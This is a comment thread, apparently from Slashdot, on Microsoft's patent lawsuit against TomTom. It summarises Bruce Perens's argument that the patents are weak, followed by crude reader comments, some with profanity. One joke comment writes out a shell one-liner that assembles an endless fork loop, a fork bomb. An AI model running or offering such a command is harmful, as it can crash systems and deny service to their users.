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Analyzing Microsoft's Linux Lawsuit
jammag writes "Open source advocate Bruce Perens takes a close look at Microsoft's lawsuit against TomTom (discussed here last week), which involves an implementation of the Linux kernel, and calls it essentially a paper tiger. He notes: 'the technologies claimed in the 8 patents involved are so old and obvious that it's fair to say they have a high "Duh!" factor. There's an anti-trust angle to this suit that could blow up in Microsoft's face. And there's a high probability that some or all of the patents involved are invalid, due to recent court decisions.' Although the legal expense for TomTom to defend itself in court could be astronomical — meaning they may be forced to settle — in Perens' view Microsoft is aware its case is weak, yet hopes for a PR victory at limited cost." And reader nerdyH adds speculation from Open Innovation Network CEO Keith Bergelt that Redmond's action could be retaliation for TomTom's spurning a Microsoft acquisition bid in 2006.
Seriously? I mean, really, what's the point here? Are we that gigantic of a bigot that we have to resort to stupid little stunts like this to make ourselves feel important?
Bleh. I guess I can't say I'm surprised. "Screw the rules, I have money!" Or something like that.
all i heard was blah blah blah.
If you mod me down, I will become more powerful than you can imagine....
Not at all. The patent is valid, and MS has a duty to its shareholders to collect the revenue. They were granted a patent on "a lookup table for LFN support lol" - and Tomtom hasn't paid to use it.
The rest of the patents listed in the lawsuit are just flexing to force Tomtom to settle.
Theres probably around ten million bucks of cash up for grabs here, and I own around a ten millionth of MS - meaning those Norwegian fuckers personally have ripped me off a buck. Fuck them. They can either get the patent invalidated or pay the fuck up.
Also fuck you.
3laws: No freebies, no backsies, GTFO.
Hey, have mercy on poor Bruce! He's not a coder (not a good one, at the very l33t), he's not a lawyer, he's not a visionary like RMS - but he still wants to feel important, too.
Don't burst his bubble!
Fixed that for you
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Yeah what kind of crazy system rewards the people who invented something and gives them some control over their invention?